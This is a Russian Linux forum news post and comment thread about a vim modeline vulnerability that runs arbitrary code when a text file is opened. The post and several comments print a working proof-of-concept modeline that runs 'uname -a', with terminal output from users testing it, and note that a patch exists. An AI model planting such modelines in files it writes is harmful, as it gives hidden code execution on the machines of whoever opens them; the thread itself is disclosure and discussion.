LINUX.ORG.RU

Уязвимость в vim

 ,


1

1

Опубликована уязвимость в текстовом редакторе vim, позволяющая исполнить произвольный код при открытии редактором текстового файла.

Вот текст файла выполняющего безобидный uname -a

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

Исправление в виде добавленного вызова check_secure() уже доступно в репозиториях vim и neovim.

>>> Очень хорошее описание механизма уязвимости

★★

Проверено: Shaman007 ()

Хватит уже называть фичи уязвимостями!

Выполнение внешних команд (в т.ч. и с тем, чтобы получить от них результат) - это полезная функциональность.

saahriktu ★★★★★ ()
Ответ на: комментарий от saahriktu

Всё же ты наверное это с горяча сказал, у меня вот исполняются команды при открытии определённого типа файла, либо файла с определённым типом башорга. А вот эта штука она на грани, ну давай пойдём с того конца что она неудобна, жутко! Легче открыть файл взять первую строку как триггер и если он описан в vimrc то исполнить его. А тут фигня какая то =)

LINUX-ORG-RU ()
Ответ на: комментарий от saahriktu

Выполнение внешних команд - это полезная функциональность.

Только когда эту команду даешь, а не когда это делается само по набору буковок в РЕДАКТИРУЕМОМ файле.

YAR ★★★★★ ()

Как страшно жить стало! Каждый день открываю ЛОР и боюсь узнать, что nano отправляет телеметрию в ЦРУ, а grep в ФСБ! А тут еще vim дырявый! Пора валить обратно на перфоленты.

Alve ★★★★★ ()
Ответ на: комментарий от ekzotech

Чота не работает в макоси. Где получить результат выполнения?

нужно оформить в МФЦ выдачу результата, тогда ваш запрос поступит на обработку, и не раньше, чем через 3 месяца ожидайте ответ, вам на почту придёт уведомление, и можно прийти и забрать или заказать доставку

anonymous ()
Ответ на: комментарий от Alve

Как страшно жить стало! Каждый день открываю ЛОР и боюсь узнать, что nano отправляет телеметрию в ЦРУ, а grep в ФСБ! А тут еще vim дырявый! Пора валить обратно на перфоленты.

дак исходники то открыты! мы просто сейчас поняли, что их никто не смотрит. Интересно почему? Может мы чересчур уверены в безопасности линупса? Расслабились?

anonymous ()

Ниработаит

~$ cat delme
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
~$ vi delme
~$ cat /etc/lsb-release 
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.6 LTS"
~$ readlink /etc/alternatives/vi
/usr/bin/vim.basic
~$ vi --version
VIM - Vi IMproved 7.4 (2013 Aug 10, compiled Nov 24 2016 16:44:48)
Included patches: 1-1689
Extra patches: 8.0.0056

vi –version

MrClon ★★★★★ ()
Ответ на: комментарий от anonymous

дак исходники то открыты! мы просто сейчас поняли, что их никто не смотрит. Интересно почему?

Потому что мы тупые и не понимаем их, очевидно же. Программистов такого уровня, которые могут разбираться в исходниках ядра / вима / телеграма / хренограма уже давно релоцировали в гейропу.

Alve ★★★★★ ()
Ответ на: комментарий от anonymous

дак исходники то открыты! мы просто сейчас поняли, что их никто не смотрит. Интересно почему?

Ты новость читал? Внезапно кто-то их посмотрел.

anonymous ()
Ответ на: комментарий от imul

Речь шла о том, что MrClon запускал $vi, что эквивалентно запуску $vim. В новости тоже говорится про vim.

Анонимус тебе уже объяснил, почему не работает в vi

Правда? В каком таком режиме MrClon запускал вим, что у него не работает?

otto ()
Ответ на: комментарий от otto

В каком таком режиме MrClon запускал вим, что у него не работает?

если тебе хочется понять, то открой vim и читай хелп. если нет проходи мимо.
у вима есличо 100500 режимов всяких.

mos ★★★★★ ()
Ответ на: комментарий от mos

если тебе хочется понять, то открой vim

Вечером попробую, сейчас онтопика под рукой нет. Что-то мне подсказывает, что результат будет в обоих случаях одинаковый.

otto ()
Ответ на: комментарий от otto

Какую информацию это даст? Что кто-то по инструкции не смог воспроизвести уязвимость? Или что бубунта особенная, или что кто-то модлайны отключил и забыл?

[user1@osiris:~/data/vimtest]$ cat test.txt 
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

[user1@osiris:~/data/vimtest]$ vim test.txt 

Linux osiris 5.1.4 #1-NixOS SMP Wed May 22 05:39:58 UTC 2019 x86_64 GNU/Linux

Press ENTER or type command to continue

Трюк рабочий, код запускается, а потом уже запускается вим.

Kokonavtuz ()
Ответ на: комментарий от otto

Речь шла о том, что MrClon запускал $vi, что эквивалентно запуску $vim. В новости тоже говорится про vim.

Да у него уже пропатчено.
А vim когда запускается через vi то и работает как vi, а не как vim. /bin/sh тоже указывает на bash, но попробуй юзеру поставить шеллами sh и bash и увидишь разницу. Или в скрипте с башизмами поставь #!/bin/sh. Хотя это уже к делу не относится.

imul ★★★★★ ()